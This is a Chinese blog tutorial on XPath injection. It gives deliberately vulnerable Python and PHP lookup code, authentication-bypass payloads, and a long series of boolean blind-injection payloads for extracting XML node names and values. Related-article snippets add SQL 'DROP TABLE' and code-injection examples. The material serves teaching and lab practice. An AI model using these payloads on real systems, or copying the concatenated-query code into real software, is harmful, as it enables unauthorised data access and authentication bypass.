浅谈Xpath注入漏洞

最新推荐文章于 2024-03-21 21:06:21 发布
最新推荐文章于 2024-03-21 21:06:21 发布
阅读量1.3k 收藏 1
点赞数 2
分类专栏： # web安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63701832/article/details/129433006
版权

目录

知识简介

攻击简介

基础语法

语法演示

漏洞简介

漏洞原理

漏洞复现

Xpath盲注

知识简介

攻击简介

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的XPath 查询代码，以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的，从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时，攻击者还可以提升他的权限。

基础语法

“nodename” – 选取nodename的所有子节点
“/nodename” – 从根节点中选择
“//nodename” – 从当前节点选择
“..” – 选择当前节点的父节点
“child::node()” – 选择当前节点的所有子节点
"@" -选择属性
"//user[position()=2] " 选择节点位置

语法演示

from lxml import etree
xml ='''
  <students>
    <student number="1">
        <name id="zs">
            <xing>张</xing>
            <ming>三</ming>
        </name>
        <age>18</age>
        <sex>male</sex>
    </student>
    <student number="2">
        <name id = "ls">李四</name>
        <age>24</age>
        <sex>female</sex>
    </student>

</students>
'''
tree = etree.XML(xml)
out = tree.xpath('//students')[0][0][0][0].text
print(out)
print('-------------------------------------')
out = tree.xpath('//name')[1].text
print(out)
out = tree.xpath('//name')[1].xpath('@id')
print(out)

张
-------------------------------------
李四
['ls']

漏洞简介

漏洞原理

XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入，这些输入往往是XPath语法中的一些组合，这些输入将作为参数传入Web 应用程序，通过执行XPath查询而执行入侵者想要的操作。但是，注入的对象不是数据库users表了，而是一个存储数据的XML文件。因为xpath不存在访问控制，所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookie，headers，request parameters/input等

漏洞复现

  • 案例1
  • 正常网站存在如下登录代码
from lxml import etree

xml ='''
  <students>
 <student>
    <id>admin</id>
    <password>123456</password>
 </student>
</students>
'''
tree = etree.XML(xml)
username = input('请输入用户名')
password = input('请输入密码')
out = tree.xpath('/students/student[id/text()="'+username+'" and password/text()="'+password+'"]')
print('登录成功，欢迎您'+out[0][0].text)

正常登陆

不正常登录

" or "1"="1
/students/student[id/text()="admin" and password/text() = "" or "1"="1"]

  • 案例2

index.php

<?php
if(file_exists('coleak.xml')) {
$xml = simplexml_load_file('coleak.xml');
$user=$_GET['user'];
$query="user/username[@name='$user']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo $x.":  " . $x_value;
echo "<br />";
}
}
?>

coleak.xml

<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
<username name='user5'>user5</username>
<key>KEY:5</key>
<username name='user6'>user6</username>
<key>KEY:6</key>
<username name='user7'>user7</username>
<key>KEY:7</key>
<username name='user8'>user8</username>
<key>KEY:8</key>
<username name='user9'>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>

正常查询

测试 ?user='" 时出现报错，可以确定存在Xpath注入

-1' or 1=1 or ''='
$query="user/username[@name='-1' or 1=1 or ''='']";
1=1为真 ''='' 为真，则可以匹配当前节点下的所有user

']|//*|//*['
$query="user/username[@name='']|//*|//*['';
这里闭合了$user前后的单引号同时执行三个操作，其中第二个操作//*即是关键点，列出文档中的所有元素，最后拿到flag

Xpath盲注

xpath盲注适用于攻击者不清楚XML文档的架构，没有错误信息返回，一次只能通过布尔化查询来获取部分信息，同样以0x05中的源码为例

Xpath盲注步骤：

  • 判断根节点下的节点数
  • 判断根节点下节点长度&名称
  • .....
  • 重复猜解完所有节点，获取最后的值

从根节点开始判断

'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点

判断根节点下的节点长度

'or string-length(name(/*[1]))=8 or ''='

猜解根节点下的节点名称

'or substring(name(/*[1]), 1, 1)='a'  or ''='
'or substring(name(/*[1]), 2, 1)='c'  or ''='
..
'or substring(name(/*[1]), 8, 1)='s'  or ''='

猜解出该节点名称为accounts

'or count(/accounts)=1  or ''='   /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''='     /accounts下有两个节点
'or string-length(name(/accounts/*[1]))=4  or ''='    第一个子节点长度为4

猜解accounts下的节点名称

'or substring(name(/accounts/*[1]), 1, 1)='u'  or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r'  or ''='

accounts下子节点名称为user

'or count(/accounts/user)=2  or ''='    user节点有两个，则可以猜测出accounts节点结构，accounts下两个节点，均为user节点

第一个user节点的子节点长度为8：
'or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ''='

读取user节点的下子节点

'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s'  or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e'  or ''='

最终所有子节点值验证如下：

'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username'  or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email'  or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype'  or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password'  or ''='

继续猜解：

'or count(/accounts/user[position()=1]/username/*)>0 or ''='   
'or count(/accounts/user[position()=1]/email/*)>0 or ''=' 
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='

均为 false，不再有子节点，则可以尝试读取这些节点的值

第一个user下的username值长度为6:

'or string-length((//user[position()=1]/username[position()=1]))=6  or ''='

读取第一个user下usernaem的值

'or substring((//user[position()=1]/username[position()=1]),1,1)='T'  or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e'  or ''='

可依次读取所有的子节点的值，第二user节点的子节点值读取方式：

'or string-length((//user[position()=2]/username[position()=1]))=4 or ''='  第一个user下的username长度为4
......

重复上边步骤即可

coleak
关注
  • 2
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
xcat:XPath注入工具
05-02
XCat XCat是一个命令行工具，可以利用和调查XPath盲注漏洞。 有关完整的参考，请阅读此处的文档： : 它支持大量功能： 自动选择注射（运行xcat injections以获得列表） 检测xpath解析器的版本和功能，并选择最快的检索方法 内置越界HTTP服务器 自动化XXE攻击 可以使用OOB HTTP请求大大加快检索速度 自定义请求标头和正文 内置REPL外壳，支持： 读取任意文件 读取环境变量 列出目录 上载/下载文件（TM） 优化检索 如果可用，对unicode代码点使用二进制搜索 回退包括搜索先前首先检索到的常见字符 规范化unicode以减少搜索空间 安装 运行pip install xcat 或使用docker run -it tomforbes/xcat --help 或在fedora上dnf install xcat :smiling_face_with_sunglasses: 需要Python
xxxpwn:高级 XPath 注入工具
06-09
xxxpwn : XPath 过滤扩展工具 : 专为盲优化 XPath 1 注入攻击而设计 xxxpwn 使用各种 XPath 优化来查询来自存在 XPath 注入的位置提供的后端 XML 文档的自定义信息。 默认情况下，它会尝试检索整个远程数据库，尽管这可以使用多种选项进行自定义。 许多先前发现的漏洞已作为注入文件和目标脚本提供，以便于入门。 这包括为作为 xcat.py 一部分提供的易受攻击的应用程序提供的示例有效负载： :
xpath 注入漏洞
最新发布
weixin_45653478的博客
03-21 418
XPath 是一种查询语言，它描述了如何在 XML 文档中查找特定元素（包括属性、处理指令等）。既然是一种查询语言，XPath 在一些方面与 SQL 相似，不过，XPath 的不同之处在于它可以用来引用 XML 文档的几乎任何部分，而不受访问控制限制。在 SQL 中，一个“用户”（在 XPath/XML 上下文中未定义的术语）的权限被限制在一个特定的数据库，表，列或者行。使用 XPath 注入攻击，攻击者可以修改 XPath 查询语句来执行所选择的操作。
XPath注入
十一.的博客
12-06 189
XPath定位是指利用XPath查询语句定位XML文档中的元素和属性。XPath 通配符可用来选取未知的 XML 元素。
XPath注入漏洞利用工具XPath-XCat.zip
07-19
XCat是一个命令行程序,用于辅助XPath注入漏洞的利用。XCat使用Python编写并开放源代码。XCat正常使用需要python的SimpleXMLWriter模块。 标签：XPath
测试XPath注入.docx
09-06
测试XPath注入
应用安全系列之四：XPATH注入
jimmyleeee的专栏
02-26 1452
本系列文章主旨在于介绍一些漏洞类型产生的基本原理，探索最基础的解决问题的措施，不排除有些语言或者系统提供的安全的API可以更好地更直接地解决问题，也不排除可以严格地输入验证来解决。 XPath即XML路径语言（XML Path Language），是一种用来确定XML文档中某部分位置的语言。XPath基于XML的树状结构，提供在数据结构树中寻找节点的能力。XPath提出的初衷是将其作为一个通用的、介于XPointer与XSL之间的语法模型。 XPath使用路径表达式在 XML 文档中进行导航。 XPa
xpath注入
dahe
05-07 1580
1.什么是xpath XPath 使用路径表达式在 XML 文档中进行导航 XPath 包含一个标准函数库 XPath 是 XSLT 中的主要元素 XPath 是一个 W3C 标准 2.学习xpath 在了解xpath注入之前，可以先学习一下语法和基础知识 https://www.runoob.com/xpath/xpath-syntax.html 3.xpath注入是什么 XPath 注入利用 XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的 XPath
XPath注入：攻击与防御技术
hl1293348082的专栏
03-31 1315
相信大家都非常熟悉 “注入” 这种攻击方式。 “注入” 这种攻击方式被列为了 OWASP 十大攻击的榜首。然而，本文所要讲述的不是被人熟知的SQL 注入攻击。而是相对较为冷门的 XPath 和 XQuery 注入攻击。 什么是 XPath ？ 首先我们来了解一下什么是 XPath。 XPath 即为 XML 路径语言，是 W3C XSLT 标准的主要元素，它是一种用来确定 XML（标准通用标记语言的子集）文档中某部分位置的语言。 XPath 基于 XML 的树状结构，有不同类型的节点，包括元素节点，
xpath注入与盲注
RMC131的博客
04-19 988
XPath是一种查询语言，描述如何在XML文档中查找特定元素（包括属性、处理指令等），于SQL相似，Xpath可以引用XML文档的几乎任何部分，而不受访问控制限制。XPath盲注可以从一个使用不安全方式嵌入用户信息的应用中提取数据，在输入未被过滤的情况下，攻击者可以提交并执行有效的XPath代码。这种攻击适用情况：攻击者不清楚XML文档的架构，或者错误消息被抑制，一次只能通过布尔化查询来获取部分信息，与SQL盲注相似。
Xpath注入
2202_75361164的博客
12-04 266
Xpath注入，常规使用加例题
Xpath注入攻击及其防御技术研究
10-10
Xpath注入攻击及其防御技术研究 详细解释xpath攻击类型 与预防方法
102.网络安全渗透测试—[常规漏洞挖掘与利用篇18]—[xpath注入与盲注入]
qwsn
02-07 4451
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、xpath注入与盲注入 1、什么是xpath注入 2、什么是xpath盲注入 3、xpath查询基本语句 二、xpath注入示例 1、注入漏洞页面源码：xpath.php 2、注入漏洞页面关键源码分析 3、账户信息存储文件：`xpath_user.xml` 4、注入方法 （1）万能密码登录： （2）payload分析： 5、盲注入 （1）获取字符长度函数：`string-length()` （2）截取字符函数：`su
Xpath注入详解
Fly_鹏程万里
08-14 1931
0x01 什么是Xpath XPath即为XML路径语言，是W3C XSLT标准的主要元素，它是一种用来确定XML（标准通用标记语言的子集）文档中某部分位置的语言。它是一种用来在内存中导航整个XML树的语言,它的设计初衷是作为一种面向XSLT和XPointer的语言,后来独立成了一种W3C标准。 XPath基于XML的树状结构，有不同类型的节点，包括元素节点，属性节点和文本...
[NPUCTF2020]ezlogin (xpath盲注)
记录学习，一起进步
03-26 652
[NPUCTF2020]ezlogin (xpath盲注)
XPath注入漏洞实战
weixin_47493074的博客
10-05 333
XPath注入漏洞实战
Xpath注入学习记录
paidx0
08-19 480
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。XPath 是 W3C XSLT 标准的主要元素，并且 XQuery 和 XPointer 都构建于 XPath 表达之上。XML 不是 HTML的代替，HTML旨在显示信息，XML旨在显示传输信息，关注的是数据的内容。......
SQL 注入、XPath 注入、代码注入 示例
06-09
SQL 注入示例： 假设我们有一个用户登录的功能，对应的查询语句为： ``` string sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"; ``` 攻击者可以通过输入特殊字符，例如 ' 或者 ;，来构造恶意的查询语句，例如： ``` string username = "admin'; DROP TABLE users;--"; string password = "123456"; ``` 这样就会导致查询语句变成： ``` SELECT * FROM users WHERE username='admin'; DROP TABLE users;--' AND password='123456' ``` 这条语句会执行两个操作：首先查询用户名为 admin 的用户，然后删除 users 表。这就是 SQL 注入攻击的典型案例。 XPath 注入示例： 假设我们有一个使用 XPath 查询 XML 数据的功能，对应的查询语句为： ``` string xpath = "/users/user[@name='" + username + "' and @password='" + password + "']"; ``` 攻击者可以通过输入特殊字符，例如 ' 或者 ;，来构造恶意的查询语句，例如： ``` string username = "admin' or 1=1 or ''='"; string password = "123456"; ``` 这样就会导致查询语句变成： ``` /users/user[@name='admin' or 1=1 or ''=' and @password='123456'] ``` 这条语句会查询用户名为 admin 或者 1=1 或者 ''=''，因为 1=1 和 ''='' 都是恒成立的。这就是 XPath 注入攻击的典型案例。 代码注入示例： 假设我们有一个执行用户输入的代码的功能，对应的代码为： ``` string code = Request.Params["code"]; object result = Eval(code); ``` 攻击者可以通过输入特殊字符，例如 ; 或者 &，来构造恶意的代码，例如： ``` string code = "System.Diagnostics.Process.Start(\"cmd.exe\",\"/c calc.exe\")"; ``` 这样就会导致执行了一个恶意的命令，打开计算器程序。这就是代码注入攻击的典型案例。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值